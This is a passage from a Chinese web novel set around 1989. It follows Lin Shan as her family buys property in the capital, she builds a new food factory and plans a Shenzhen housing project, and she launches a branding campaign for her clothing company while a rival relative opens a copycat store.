吃完饭后，赵桂花跟王大娘在家看孩子睡觉。林珊领着林红和王军去了花园小区的售楼处，因为之前就打过电话跟经理沟通过了，所以过程非常顺利。 林红跟王军买的是林珊家的对门，两口子对房型都很满意，虽然林珊说让他们用来投资，但是毕竟是买房这么大的事儿，房子本身好不好也很重要。万一以后自己想住呢。 林珊陪着两口子办好手续，正在房子里规划未来的时候，杨国福把两位长辈和孩子也送了过来。 小昊昊在房子里走来走去，一会儿指指这儿，一会儿指指那儿，林红笑着问他：“昊昊，以后来京市上学好不好？” “好。”昊昊对上学一知半解，不过奶奶经常说让他好好学习，他就以为学习是好的。 赵桂花笑道：“你小姨上清大，你长大之后就上京大，好不好？” “好。”昊昊吃饱睡好之后，说什么都好。 林珊实在是喜欢他，圆乎乎的，奶里奶气，性格还好，她忍不住一把抱起小外甥，一会儿问他要不要吃奶糖，一会儿要不要小青蛙玩具，恨不得把所有好吃好玩儿的都买给他。 王大娘笑着摇头，“你别提太宠他了。” 林珊：“昊昊这么乖，是不会宠坏的，是不是啊小宝贝？” 昊昊知道小宝贝是自己，非常可爱地“嗯”了一声，还扭头对奶奶说：“我不会坏的。” 小模样太招人喜欢，一时间把大家都逗笑了。 买房的事 搞定之后，几人又去林珊买的分局家属院看了看。因为里面正在施工，简单看了一下大致结构和小区环境就继续前往公司了。 赵桂花在车上忍不住夸奖林珊：“这房子也好，两个都好，真不愧是我闺女！虽然比不上咱的‘富景丽苑’，不过我瞧着也相当厉害了。” 林珊笑道：“以后您喜欢哪儿就住哪儿。” 赵桂花满意地笑了。 几个人很快抵达公司，这焕然一新的小院子，让赵桂花几乎都不敢认了。她上回来的时候，小院儿才刚租下来，虽然当时看闺女的设计图已经觉得很好了，但真正修好装好之后，仍然很让人惊叹。 没有安河公司大，瞧着更像是个什么机关单位，院子里居然还有枣树，这个时间正好开着花，黄澄澄的小花，特别漂亮。后头还有颗大银杏树，不敢想象到秋天得有多好看。 办公室规划得也好，茶水间也有，有点儿像翻版安河公司，却又不是很一样。 大家看得是既熟悉又新鲜。 林红忍不住拉着林珊感慨：“真好啊，每回想起咱以前的日子，我就觉得现在跟做梦似的。” 赵桂花在一旁点头：“谁说不是呢，还是个大大的美梦。要是你爸跟你哥在就好了，可惜俩人命苦啊。” 她现在再提起老伴儿和林爱国已经不再动不动就哭了，看来时间真的是最好的良药啊。 林珊伸出胳膊搂住两人，“都不是梦，以后还咱会更好的，所有人也都会越来越好的。” “是，咱共同进步！” 贺正岩跟姜春荣知道林珊家里来人了，晚上特地约好要为他们接风。由于赵桂花吃过一次老莫之后，回去就一直跟大家说人家那地方的饭有多好吃，环境有多不一样，所以这次贺正岩就把地方定在了老莫。 大长桌，优雅的环境，几个人吃吃聊聊，气氛好得不得了。再加上有个胃口特别好的小宝贝，全程都老老实实地坐在妈妈腿上，给什么吃什么，把大家给稀罕坏了。尤其是姜春荣，吃罢饭就一直抱着小家伙不撒手。 昊昊也不认生，看了她两眼就给抱了。回去的路上，姜春荣还一个劲儿地感慨太可爱了，等以后她自己有了孙子孙女，不知道得高兴成什么样。 几人饭后回到科研所聊天喝茶，林珊跟大家商量着明天去哪儿玩。 除了那几个经典的景点，贺正岩还推荐了京郊一个景区，那地方有山有水，非常适合这个天气去游玩儿。 林珊剩下的几天除了陪他们挨个儿逛景点外，还带大家去看了看自家的几个铺子，参观了一圈清大。 林红感触颇深，夜里忍不住对王军说：“以前姗姗喊我来京市，我虽然也想来看看，但是从来没觉得咱们也能来首都生活。不过这几天到处逛了逛，我现在开始有点儿觉得，说不定以后咱真有可能过来住。” 王军的感触并不比她小，以前他来京市的时候，觉得这地方好是好，但不是家，买个东西一听带口音，服务员就满脸的不耐烦。可这几天逛下来，去到的每一个地方都特别好，没人给白眼，服务态度还好，他不知道是首都这边进步了，还是因为他们有钱了，所以不被人看不起了。 反正这回来京市的感觉特别好，弄得他都想好好使使劲儿看看能不能调过来了，尤其是参观过清大之后，他也会忍不住希望昊昊长大后，能进入这么好的地方去学习。 “咱京市的房子是买对了。”王军搂着林红感慨道。 林红笑眯眯地点头：“是啊，跟着姗姗准没错，咱都会越来越好的。” “是。” 林珊依依不舍地把家里人送回走之后，也即将迎来自己的考试周。她在学校猛复习了好几天，顺利完成了考试，正式结束了大三的生活。 刘灿荣那边做的“下饭菜”广告，林珊已经收到了，她非常满意这个效果。等正带寄过来后，她又熟门熟路地找到电视台的人，又冠名了一个电视剧。 负责广告审查的一个编导也是熟人，热心地建议她在“下饭菜”广告开始前，加上几秒辣椒酱的画面，用来告诉大家“林爱国”家又出新品了。 林珊觉得这主意非常好，当即就请人家帮忙剪辑了一下，为表感谢她请对方吃了顿大餐，又送了两箱自家的产品。 这次除了电视广告，林珊也准备买一些报纸和户外广告。 这么做不是怕“下饭菜”卖不出去，就目前在自家店铺的售卖情况来看，“下饭菜”的热销程度极有可能超过辣椒酱。 她选择丰富广告的类型，除了要全方位覆盖各个圈层外，主要还想为以后推广服装品牌铺铺路路。先走走所有的广告流程，看看这些类型的广告效果如何。 阿英新设计的这批夏装已经开始销售了，目前来看受欢迎程度相当之高，大有超过去年夏季营业额的趋势。 六月中旬的时候，深城传来好消息，郭广盛经过几轮奋战，最终以870万的价格，拍下了那片12000平方米的的土地。 另外关于上市的事情，他请的人已经开始准备了。不过由于目前国家的规定是，公司的开业时间要在三年以上，且最近三年持续盈利才能进行申请，所以“荣发”最快也要到明年十月份才能提交资料。 目前他们要想继续做项目，除了尽快盖楼回收资金外，还是要向银行借钱。不过向银行贷款本来就是公司运营中的一部分。再大的企业也没办法保证资金一直很充足，总有个紧缺的时候。 因为刚拿到地，项目才刚要启动，目前正处于筹备找人的阶段，林珊这个暑假基本就不用再去深城了。 不过“下饭菜”的广告马上要上了，整个食品厂都忙得不可开交，采购制作加工备货出货，每天都有一大堆事情要处理。 贺正岩趁休息日的时候，跟林珊回了趟安河。 看着这忙碌到多停一辆小汽车都嫌拥挤的院子，他大为震撼。这厂子从还是工地的时候他就见过，后来开了厂，有了活儿，再到现在眼看就要超过负荷。这发展实在是太快了。 林珊叹气，这实在是个甜蜜的负担。公司发展得太快，必须再建个更大的食品厂了。不过这回不租了，她准备买地自己建。 第156章 第156章 买地盖大厂 安河土地局的陈主任上回说有地拍卖的时候, 第一个通知林珊。结果几个月过去了，仍然音讯全无。 林珊决定还是把陈主任请出来再问问怎么回事。上面还没规划好搞房地产的用地不要紧，看看能不能申报一块工业用地才是目前最要紧的事儿。 陈主任还是一如既往地热情, 几口小酒下肚之后，直接告诉林珊之所有进展缓慢, 是由于安河新换的一把手，刚对全市的发展进行了一个总体规划, 目前还没有进展到住宅基地这块儿，所以只能再等等。 林珊对陈主任表达了一番感谢, 把自家要再建一个大型食品厂的计划说了, 希望土地局能把工业用地批给他们公司一块儿。 陈主任一听她想盖大厂，瞬间就激动了, “这是大好事儿啊！咱安河现在各大国营厂的效益都不好, 你们能建厂对咱安河的发展可是件大好事儿啊！你们准备盖多大的地方？” “您最多能批多大？”林珊当然希望地方越大越好, 毕竟她也不想发展着发展着就得重新扩厂。 陈主任笑了，稍稍思考了一下, 小声告诉她：“不得大于五千平方。” 林珊懂了, “那就五千平方吧, 你估摸着大概需要多少钱？” 陈主任拿出纸笔算了一下，“要56.4万左右。” 林珊小声问他：“五十万能拿下吗？” 陈主任声音更小，“你找王局说，应该问题不大。” 林珊明白了，再次好好谢过主任之后, 下午就去找王局长了。其实她最开始找的人就是王局长, 只不过局长事儿多人忙，就把具体的事儿都交给了 陈主任。 王局长一听林珊建厂的想法后，立刻对她进行了一番表扬, “咱们安河太需要像你这样的个体户了。私人公司现在只能批这么大的，五十万倒是没什么问题，不过上面现在有了新的建厂标准，你们可一定要严格按照要求来啊。” “一定！这个您放心，我们虽然是个体户，却也牢记着要建设家乡的责任和义务。我们绝对不会为了钱去破坏环境的。安河是我的家，咱干不出那种事儿。”其实环保问题，也是林珊想再建厂的原因。 虽然现在去村里开厂的一切手续都合法合规，但是那毕竟紧挨着村子，就算食品厂不想化工厂那样会污染环境，但是毕竟邻村，还是要注意一些的。 等新厂建好之后，她准备让大河村的厂子专做各门店的底料加工。酱料、榨菜和之后再出的一系列新品，就全放在新厂制作。 大河村的厂子是半亩地，大概是330多平方米，完全够做底料加工了。以后她会慢慢的把旧厂撤了，再为大河村投资一些更环保的项目，来为当地的发展做贡献。 工业用地的使用年限是五十年，五十万买五千平方米五十年的使用权限，别说在后世是完全不敢想的，就是过两年也不是这个价钱。 毕竟这年头万元户仍然是老百姓奋斗的目标，五十万可真不算是个小数目。 由于安河的整个工业区基本都在城西，所以林珊批的地自然也在西郊。位置不算太偏，还有趟公交车往那边去，不过就算没有，89年的安河市就这么屁大点儿，骑自行车三十分多钟也到了。 公司的主管们对盖新厂的事儿都举双手赞成，毕竟谁不想在更宽敞舒适的环境里面上班。 赵桂花现在对钱也没有那么心疼了，一听这价格连她都觉得特别划算，毕竟她也是见识过粤城房地产项目的人了。 贺正岩跟林珊去看过准备批给她的那块儿地，别看现在慌，明年这个时候应该就能生产了。这就是发展的意义啊，一个厂绝对能带动一个地方的发展，大河村就是现成的例子。 “真棒。”贺正岩忍不住夸她，趁着四下无人，还亲了她一口。 林珊笑了，“这么突然。” 贺正岩把人搂进怀里，逗她：“这回怎么不说让我看看你打下的江山了？” 林珊乐道：“还没开始呢，等建好了再说。” “好，那我可等着了。” “嗯，等着吧。” 贺正岩回京后，林珊正式开始忙建新厂的事儿。这次由于规模比较大，她先是托关系，跑去粤城参观了几家国营食品大厂的生产车间，跟着又拜托郭有昌从港城请了一个专门做工厂设计的团队，来为食品厂做设计规划。 另外施工方面虽然她还是打算用安河本地的王来顺团队，不过要加入粤城这边的建筑师傅们作为技术指导和监工。 至于设备方面，设计出来的生产线需要什么，就从京市的严建设那边进什么，如果没有，再向郭、雷两家求助。 “下饭菜”的广告上了之后，效果比预期得还好，食品厂的一台搅拌机，已经物理意义上的干冒烟了，幸亏之前囤了货，不然可就更手忙脚乱了。 由于赵福过于忙碌，新厂子那边的建设就交给了杜平负责。杜平三十六岁，以前是安河国营饭店的经理，经验和学识都不错，他是李春刚一年前给食品公司招的副经理。 除了杜平，林珊还把李国超安排过去给他做辅助了。 李国超把全公司的安保体系搞得有声有色，能力很不错，是时候让他尝试一下别的工作了。 林珊这个暑假都忙得不可开交，等暂时安排完手边的事情，开学都迟到了两个多礼拜。不过好在她已经大四了，虽然这个时期的大四没办法跟后世比，不过课也比之前少了很多。 空闲时间一多，林珊请假的时候都少了。 九月底，服装冲刺小分队已经抵达汉南省会南州市，即将开设“红珊服装店”的第五家直营店。 现在粤城服装厂的自给率也越来越高，为了应对今年的秋冬季节，阿英那边从一进入六月份，就已经开始在忙着设计和做样衣了。 她还对林珊立了个目标，势必要让全店在今年秋冬都卖上自家做的衣服。 林珊下个月底要去深城开“荣发”的股东大会，正好可以过去验收一下成果。 分局家属院的房子上个月已经装完了，效果非常好。吕大爷打得家具更是没的说，往屋里一放，瞬间就有感觉了，完完全全就是她想要的风格。家电也已经陆续都安装妥当了，虽然现在的装修简单到基本没什么甲醛，不过林珊还是放了一阵，才把自己的东西都慢慢搬了过去。 贺正岩国庆前后都特别较忙，即使一直在京市，最近也不是每天能见到林珊。她搬家的事情他怎么没帮上忙，所以心里一直挺内疚的，今天难得有了半天假，就立刻跑去分局家属院了。 这房子全部都弄好之后，贺正岩还是第一次来，要不是他用钥匙开的门，还真以为自己走错了。 “姑娘住的地方就是不一样啊。”他笑着发出感慨，伸手把林珊搂进怀里亲了两下。 “不是说不用特地赶过来的嘛，我能搞定的。”林珊替他拿了双拖鞋出来，心疼他最近忙得团团转。 贺正岩一边换鞋，一边笑着问她：“特地给我买的？” 林珊点点头，瞧他咧嘴笑得那么开心，也忍不住笑了。 贺正岩起身把她搂进怀里，仔细看了看，又好好亲了会儿，直到俩人都开始出汗了，他才稍稍松开手，“收拾东西累坏了吧？” “还好，没觉得多累。”其实真得没有那么多需要收拾的地方，做一下卫生，把衣服和物件摆放好基本就可以了，倒是他最近任务重，忙得连饭都吃得很糊弄，“晚上想什么我给你做。” “做碗面就行了。”贺正岩笑着说完，搬起她放在客厅的一箱子锅碗就往厨房去了。 俗话说男女搭配干活不累，两人收拾起来就是比一个人快，说说笑笑也不耽误手上的功夫。东西放好，又重新把地面整理了一下之后，林珊的第一个房子就算是大功告成了。 贺正岩坐在沙发上看着这温馨的小屋，规划起了两人的婚房，“按现在这个弄就挺好的，我分的是三室，客厅比这个大。咱俩一间，孩子一间，还有一间当书房。” 林珊忍不住笑了，准备得真早，孩子住哪儿都安排好了。 贺正岩搂着她，侧头亲了一口，继续规划道：“明年你一毕业咱就结婚，房子过完年就得开弄。” “哦。” “你抽空去看看那房子，咱再具体商量一下怎么弄合适。 ” “好。”林珊点点头，突然想到一个问题，“装修的话，你工资够不够？要不钱我来出吧？” 贺正岩笑了，“我爷爷奶奶的钱都留给我了，我姥爷也给我留了不少东西。虽然没有咱姗老板富裕，但是养老婆孩子肯定是够了。” 林珊推他一把，“拿我开涮。” 贺正岩把人重新搂好，亲了亲，“没有，真心实意觉得你特别厉害。你们一步步怎么发展起来的，我一清二楚。你在我心里不亚于巾帼英雄。” 林珊被逗乐了，“巾帼英雄都出来了。” “肺腑之言。” 俩人说说笑笑，提前商量了好多结婚的事儿，还把房子的乔迁宴也定好了日子，下礼拜天趁着贺正岩有空，又是周末，可以把很多亲朋好友都请来热闹热闹。 第157章 第157章 “祖兰”服装店 十月底的时候, 林珊带着李娜和杨国福去了粤城。 跟阿英会面之后简单聊了聊服装厂里的事情，几人就跟雷生金和郭广发一块儿，出发去深城商讨“荣发”的第二个项目了。 新项目的前期准备工作, 郭广盛已经准备就绪，设计师和建筑团队都拿出了方案, 股东们之前就收到了图纸，现在聚在一块儿, 设计师讲解一下构思和规划，大家再集思广益一下, 没有意见的话基本就可以准备动工了。 新项目“御景华府”将会是深城的第一个高层住宅小区, 定位比“富景丽苑”要高档。小区建设将比所有的深城的小区都豪华，物业更是要做到极致。除了遵循“地上无纸屑、烟头, 草绿如地毯”的旧宗旨, 还要保证游泳池的水质达到国家标准, 让业主们可以放心地在 里面嬉戏玩耍。 另外游泳池将采用儿童泳池的标准。这么做除了保障安全，另外一个也是为了防止极个别不讲素质的业主把泳池当澡堂。 毕竟素质教育需要时间, 八十年代末九十年代初, 一切都才刚开始。 林珊非常喜欢设计师对小区的整体规划, 不过作为后世为车位发过愁的过来人，她还是提出了一些要求，把地下室改为地下车库，小区尽量实行人车分流的规划。 这样除了更能保障小区的物理环境，安全也更有保障, 还替未来做足了考虑。 因为这次的小区设计有临街商铺的部分, 所以林珊特别强调一定要分开申报，供电系统跟住宅必须分开，不然到时候商电民电不分, 供电局一定都给你按商电处理，小区盖得再好也是百搭，业主必定闹翻天。 股东们采纳了林珊的这些意见，设计和施工团队用最快的速度修改过方案后，所有的设计规划一致通过。郭有财结合目前的准备工作，算了下日子，几人决定“御景华府”的项目于89年12月3日动工。 深城这边最主要的事情定好之后，林珊一行人就回了粤城。 阿英这边早早就把秋冬款都准备好了，一些早秋的款式，之前经过林珊的批准后，都已经开始量产了。毕竟北方冷得快，厚衣服要尽早安排。 冬天的衣服确实难做一些，阿英跟厂里的师傅们从去年冬天就开始做样衣了，直到现在才拿出符合标准的衣服来。 林珊非常满意这一批毛衣，每一件都设计得非常好看，有纯色也有彩色的，有圆领、鸡心领，还有小翻领。组合在每一件毛衣上面，不管用现在还是后世的眼光来看，都非常亮眼。毛线的材质也很丰富，有基础款走量款，也有很贵的羊毛衫。选择性很多，又件件高品质。 不仅毛衣让林珊满意，棉衣做得更是深得她心。有夹克款式，有宽松款式，还有带腰带的，薄厚都有，不管是刚入冬，还是深冬，都有不同厚度的棉衣可以选择。 羽绒服的款式只做了两款，今年因为鸭绒收得少，只能先少量供货了。 重头戏呢子大衣则是各式各样的都有，一共十款。六款长的，四款中短长度的。每年卖得最好的毛呢裙和套裙自然也不会少。 林珊挨个看过之后，选择了一套深绿色的试了试，版型材质以及上身的舒适度，比以前进得货都要再上一个台阶。 阿英和陈广志把工作做得这么出色，林珊非常高兴，对着所有人夸了又夸，晚上为主管们庆完功后，她又跟阿英商量了一下提高员工们的奖金。 做得好不能光口头上的嘉奖。 阿英非常同意，自从开始自己做衣服之后，大家真得都辛苦了。 林珊观察到服装厂新增的那几台机器，每天都在忙碌，估计发展到明年这里也需要扩厂了。 阿英提供了一个消息，“隔壁老周家的厂子效益不好，听他的意思好像不打算继续干了，等他到期之后咱就租过来怎么样？厂里的师傅说他的合同估计在明年三月份左右。” 林珊非常同意，“那你跟陈叔帮忙留意一下那边的租期。另外要是这边有合适的地，价钱也没那么贵的话，咱就能买了自己盖。” “好！”阿英眼睛亮晶晶的，她没想到他们还可以买地自己盖厂子！ 次日李娜把服装公司这几个月的账目都看了一遍后，林珊一行人就回安河了。 新食品厂正在兴建中，一切都进展得很顺利。“下饭菜”持续爆单，辣椒酱也因为这次的广告又增长了一波销量。尽管食品厂忙到了前所未有的程度，赵福还是把厂子管理得井然有序。 林珊过去视察的时候，没有遇到任何需要她出面解决的事，说明公司的这几位左膀右臂们，已经渐渐都成长起来了。 林珊的终极梦想就是获得财富自由后好好躺平。给公司培养的人才越多，她就能躺得越舒服。希望再过几年，操心的事情可以越来越少。 回到京市后，林珊接连在学校上了几天课，一切都美好平和。 远在粤城的林兰，此刻看着自己新开的服装店，也可谓是春风得意。如果不仔细看，还以为她这是“红珊服装店”的直营店。 整个店的装修，从风格到家具摆设，都跟“红珊”像极了亲姊妹。除了外头的招牌一眼就能瞧出不同，人家叫“红珊”，她叫“祖兰”，寓意着陈耀祖这个冤大头跟林兰一块儿开的店。 店内的衣服，也跟“红珊”非常接近，走得也是港货路子。 林兰之所以能用大半年的时间，就开设了这么一家服装店，纯粹是因为陈耀祖家是倒腾服装生意的。他父亲不是别人，正是陈炳忠，就是曾经给林珊店里供货的渠道商。 林兰先是编了一套“贺启明是陈世美，对她始乱终弃后，还阴险狡诈地陷害她，如今她已经彻底死心，决定南下做闯荡”的说辞，骗取了陈耀祖的信任，接着又给他制造了好几次特别明显的机会，用来追求她。就这样短短一个月的时间，原本就暗恋林兰的陈耀祖就彻底沦陷了。 陈炳忠就陈耀祖一个儿子，全家都拿他当个宝贝疙瘩，从小就什么好的都先仅着他。他也争气，凭本事考上了人大。陈炳忠不舍得儿子一个人留京，这才把他叫了回来，又害怕公检法危险，所以让陈耀祖选择了粤城工商局。 他也是陈家第一个吃公粮的人。 一家人正愁给这孩子说个什么对象的时候，他自己带人回来了，说是大学同学。 陈家一看小姑娘长得文文静静，又同为名校的高材生，当下就特别高兴，陈家一下子又多了个大学生，高兴得陈妈妈到处跟街坊邻居们炫耀。 陈家本来以为小姑娘也在公家单位，结果林兰表示她看好南边的发展，所以才来粤城大显身手，要为建设国家做出自己的贡献。 陈家人听得一愣一愣的，不过回过味儿来细想想，要是林兰做生意是把好手，以后自家这摊子也算有人能看顾着了，儿子不是做生意的料，儿媳妇聪明点儿也是个好事，等她在给家里生个大胖小子，那岂不美哉！ 于是林兰很顺利地订了婚，拿到了投资，还把倒腾摩托车配件的二哥林爱军也拉来帮忙，完全就是当年他们干包子铺的翻版。不过这回有林兰亲自坐镇，她偷偷在汉州市摸清了林珊店里的套路之后，回来就照搬一切。 卖得衣服价格却比“红珊”便宜一些，一时间倒是在粤城爱美的姑娘圈子里，掀起一阵小旋风。 阿英作为土生土长的粤城人，对服装市场很熟悉，谁家开了零售店本来也不是什么稀罕的事情，不过当她陪着好姐妹去闲逛的时候，看到陈炳忠家开设的这家“祖兰服装店”后，她瞬间就黑了脸。 自家公司的“红珊服装店”是什么样子，阿英再熟悉不过了。她忍住冲动，不动声色地陪着好姐妹进到店里，进行了一次“卧底”购物体验。 这店门脸在外头看着挺大，进去之后发现比“红珊”小不少。装修风格很类似，摆设也差不多，但是做工差远了，灯光也不行，售货员培训得也没有她们的好。 不知道是为了跟“红珊”区分开，还是没找到同样的漆调色，背景墙的颜色非常深，不怎么好看。单看她整个店不觉得有问题，甚至在粤城都挺新鲜的，不过只要在“红珊”体验过一次就知道这其中的差别了。 而且，“祖兰”店门口也没有设置等待的区域。虽然店里人不是很多，但是也有些挤，感觉那三个售货员都快忙不过来了。 服装基本一看就都是陈炳忠那儿的货，搭配起来也还可以，不过按阿英现在的标准则是过不了眼的。 逛了一圈儿离开之后，她先让公司的人打听了一下这个店的具体情况，才打电话跟林珊汇报。 一开始林珊以为只是众多抄袭店中的一家，等阿英报了店铺的名字后，她瞬间就无语了，“经理是不是叫林兰？” “是！”阿英不是很清楚林珊家的恩恩怨怨，惊讶道：“姐你认识她？！” 林珊简单解释了一下两家的关系，正要继续开口，那头的阿英就忍不住开骂了，说的还是粤城方言，听得林珊一知半解的。 “好了，咱先找找工商那边的人，如果不行再用别的办法。” 阿英气愤地应了，还是忍不住说了句“好不要脸”，跟着又问林珊，“姐，咱‘红珊’为什么不在粤城开啊？” 林珊不是不想开，而是想等服装全部自制之后再开。 原本她的计划是快速拿下华北后，进军沪市，最后才是粤城和深城。 这年头的一切商品，都牵扯到一个信息差的问题，信息差越少的地方，商品越难叫上价格。服装也是如此，全国基本都在这儿进货批货，她卖那么多贵的话，生意一定不会太好。 不如等品牌正式建立起来，广告打满全国之后，再华丽地进驻。 第158章 第158章 女装大片儿 阿英听完林珊的计划后, 忍不住感慨：“姐你真是太聪明了！” 她们公司才看不上“祖兰”那种不入流的小店，做出那种下流的事情，真是恶心至极, 就这还大学生呢，不嫌丢人！她们公司不在乎这些小贼, 她们要的是一鸣惊人！ 林珊夸奖了阿英几句，让她把主要精力放在做服装上面, 林兰那边的情况抽空跟进一下就行了。 在这种遍地是黄金，又没有那么多约束的年代, 抄袭别人、做假冒伪劣能挣到不少钱, 很多人就是靠这个发家致富的。这是这个时期普遍存在的社会现象，不是林珊一个人能解决的。 现在的林兰对她来说, 就是众多抄袭者中的一个。如果非说有什么特殊的, 那就是如果是别人抄袭侵权, 赔款可能会比她少一些。 林珊次日去汉南省会看了一下新店的装修情况，由于十一月底要开业, 因此每个人的任务都不算轻。不过杨艳和钱伟领导的小分队已经开过一家店了, 所以再干起来要比之前速度不少。 最新的一批冬装上来之后, 服装店的自制率已经达到八成多，林珊觉得是时候正式开展推广工作了。 92年路易威登就会进入大陆市场，跟着后世那几大活跃的奢侈品牌，也会在之后的几年陆续进入，进而开始对本国的传统服装品牌进行强势围剿。 虽然皮尔卡丹在七十年代就已经进入大陆市场, 但影响力远不如后世那几个奢侈品牌。 林珊想要趁着这些国外奢侈品牌开始围剿本土品牌之前, 率先用经典时尚的服装以及先进的经营模式，攻占全国市场。 这期间势必会有很其他服装品牌，效仿“红珊”的经营和管理, 甚至是服装类型。这是不可避免的，只要不是照抄，她都不会计较。因为正是这种效仿，才能推进整个行业的快速发展。这样等国外品牌入驻的时候，本土行业就不会太受冲击。 当然了，他们创造的品牌故事，以及全世界营销的国际形象，这点仍然是非常强大的。这个不是林珊能改变的，她能做的，只是让本土的企业更加具有竞争力，吸引那些在这个时期不觉得外国月亮格外圆的客人，以及那些只追求品质的顾客。 林珊的规划对整个本土行业是好的，可对“红珊”本身却是非常具有挑战性的事情。这意味着她们要不断创新，不断追求更高的品质和更优质的服务，才能保住自己的市场份额。 她是可以闷声发大财，不做全国推广，有抄袭的就告，挣个十来年的钱后，等2005年国外奢侈品开始全面爆发的时候，干不过人家收摊就行了。即使那样她也早就赚得盆满钵满了，可真这么搞的话整个行业就完了。 既然有机会重来，只顾着自己，不为本土行业做点什么就太可惜了。 林珊回京市后，花了将近两个礼拜的时间，来规划“红珊”品牌的推广。 一个品牌要宣传，必须得有一个合格的品牌故事。虽然公司用的是她跟林红的名字，但俩人并没有什么好故事，编倒是能编，但她不想这么干。而且出大名真得不符合她以后想躺平的人生规划，林红人就更低调了，一点儿不喜欢抛头露面。 所以思考来思考去，林珊觉得用阿英的故事最为合适。她从小就热爱做衣服，而且为了做衣服放弃继承现成的家业，自费学习裁缝、学习设计，只为了让全国人民都穿上她做的衣服。多好的形象啊。 林珊把这个想法跟阿英说了之后，她虽然很兴奋，很开心，却又有些担心，“姐，这是你的公司，用我当招牌，是不是不太好啊。” 要是万一她以后有什么别的想法，不想干了或是其他什么的，“红珊”怎么办啊？她觉得自己的都明白的道理，珊姐肯定懂，所以就更懵了。 林珊笑道：“虽然咱们公司叫‘红珊’，却不是我一个人的公司，你也是大股东啊。以后咱们公司不仅要创办你个人的品牌，高端男装品牌和国风品牌都要创立。‘红珊’是一个代号，里面可以有很多品牌和公司，有很多优秀的人才，为咱们国家的服装产业和时尚产业做出贡献。” “姐……”阿英大受震撼，恨不得现在就隔着电话拥抱林珊，她没想到珊姐对未来的规划这么庞大，这么无私！不仅想着她们自己，还想着所有干这行的人。 “好！我都听你的！姐你放心，我一辈子不会离开‘红珊’的！”阿英知道林珊看不见，却还是举着手发誓。 林珊笑了，“你不要有负担，想单干也没什么的，做买卖又不是签卖身契。你除了是我的合作伙伴，更是我的好妹妹，不管以后有什么想法直接跟我说就可以了。” 阿英感动坏了，带着点哽咽地说：“姐，我才不走呢，我又不是傻子。” 林珊笑着夸她：“你确实是最能干的，我当初真没看错人。” 阿英心里美滋滋的，破涕而笑，她的小助理在一旁看着，也不知道她为什么又哭又笑的。 林珊跟阿英商量好品牌故事之后，开始规划具体的推广要怎么做。平面媒体的广告之前她就买过，沪市的《时装》杂志效果不错，可以继续上。另外现在发行量比较大的电影电视类的杂志也要上。 地面广告“下饭菜”已经先打过头阵了，虽然比不上电视广告的威力，收效却也是相当厉害的。 电视广告就更不用说了，必须要大力安排。 渠道要全方位去做，至于内容拍什么，林珊决定按照后世奢侈品大片儿的方式，去拍摄新一季的服装广告。今年秋冬装是赶不上了，明年的春夏款提前做好，策划好故事和风格，找好模特后进行广告拍摄。 事情很多，但算算时间也不是赶不上。 明年春夏的衣服阿英已经在准备了，林珊需要根据风格找到合适的模特，摄影师尽量选港城的，导演让刘灿荣推荐，风格不能是写实派的，需要懂光影懂美术。 “红珊”整体衣服的风格，走得是时尚优雅又有质感的路线，成衣广告本身也不需要多复杂，只要表现出想营造的氛围就可以。 找模特的事情，林珊交给了魏雪琴和闫青，九十年代的服装模特不难找，关键是要找到符合特定气质的，这个就稍微有点困难了。如果都不合适，林珊考虑请胡敏出山。 魏雪琴和闫青效率还挺高的，一个礼拜就给她找了二十多个模特。 林珊没让她们走模特步，而是试完衣服后假装工作忙碌，然后让摄影师给每人抓拍了两张照片。 不知道是这个时期的模特们，培训得太过专业，还是什么的，总之成片的效果太死板了。拍出来效果就跟以前的老挂历似的，完全没有美感和质感可言。 林珊都不满意，只有一个叫冯晓丽的模特，格外上镜。虽然也没什么松弛感，不过衣服穿在她身上的效果实在是太好了。林珊次日又把人请过来之后，让她忘了在拍摄的事儿 ，自然地走两步，然后在纸上写几个字，摄影师好在一旁随时抓拍。 这次的效果比之前好多了，林珊当即就决定签了冯晓丽，让她拍摄“红珊”下一季的春夏成衣海报。不过电视广告不能用她，主打款林珊还是决定邀请胡敏。 胡敏的气质在这个时代是少有的，最关键的是演技绝佳。什么类型的角色都能驾驭，可以是都市丽人，可以是乡野农妇，可以是一代女皇，也可是劳模干部。 林珊想请她做“红珊”品牌的代言人。这位影后级的人物，到息影都没有出现过塌房事件。死后不但观众唏嘘不已，连一些媒体都帮着声讨那个辜负了她的港商。 其实89年的商品，很少有请代言人的。就算有也只是拍个广告而已，还没形成一个完成的体系。这年头的名人，尤其是大陆名人的商业价值是比较低的。 九十年代中后期，商人们更愿意花大价钱请港城的明星来打广告。 林珊找到胡敏后，跟她谈了自己的想法，并报出了一年十万的代言费。 胡敏只有一个表姐在身边帮忙，根本没有什么经纪人，她的单位是话剧团，原则上只要她本人同意合作，而且不违规，单位那边就会通过，不过钱是要抽走六成的。 胡敏非常喜欢“红珊”的衣服，也很喜欢林珊这个妹妹，所以只是简单听了一下想法就同意了，不过她还是有些担心，“广告没有问题，但是我演戏行，走模特步可来不了啊，你准备拍什么样的？” 林珊立即表示：“您放心，不走模特步，是非常生活化的风格。”跟着她把这次“红珊”的春夏大片想要的风格，跟胡敏详细说了一下。 胡敏边听边点头，“那就太好了，我就喜欢自然的东西。太做作的，我还真来不了。” 林珊初步是想在粤城那边找个洋房，来拍摄这一季的广告和硬照。胡敏是广告的重点，穿主推款，营造整体的氛围感。模特冯晓丽则负责为其他款的海报拍摄。 这样把电视广告和其他平面的广告组合起来，更加丰富得展现品牌的调性。等所有的物料做好之后，不但服装店内都要铺设海报，各大地标建筑旁的广告牌也要买起来挂大海报。 第159章 第159章 影后出马 品牌故事、店内的至尊服务以及售后保障, 需要由杂志和报纸这一类的媒体，慢慢帮忙渗透。这些之前林珊就已经定向买过几次推广了，等一切都准备好之后加大投入就行。 现在的当务之急是筹备好团队, 等春夏装出来之后立刻进行拍摄。因为想请港城的摄影师，又要跟刘灿荣商量广告方案, 所以势必要南下一趟。 这次魏雪琴和闫青都要去，让她们全程跟着走一遍流程, 熟悉一下运作模式。以后每一季都要进行拍摄，跟粤城阿英那边的团队, 越早培养出默契越好。 因为这次要在那边待得时间有些长, 林珊跟贺正岩一说，他还有点儿舍不得, 搂着人叹气。 林珊笑道：“我放寒暑假的时候在家待的时间更长, 也没见你这样啊。” 贺正岩亲了她一口, “你在家我不太操心，外头治安不好, 心里不踏实。”粤城那边儿乱, 近期他就听到两起命案了, 除了舍不得，其实更担心她的安全。 林珊点点头，“我会小心的，加上杨国福一共四个人呢，到了那儿有阿英家的车去接, 又都住在雷家, 没事儿的。” 贺正岩不想吓到她，摸了摸小脑袋，“好, 注意安全。” 次日安排好京市的工作后，林珊一行人就南下了。 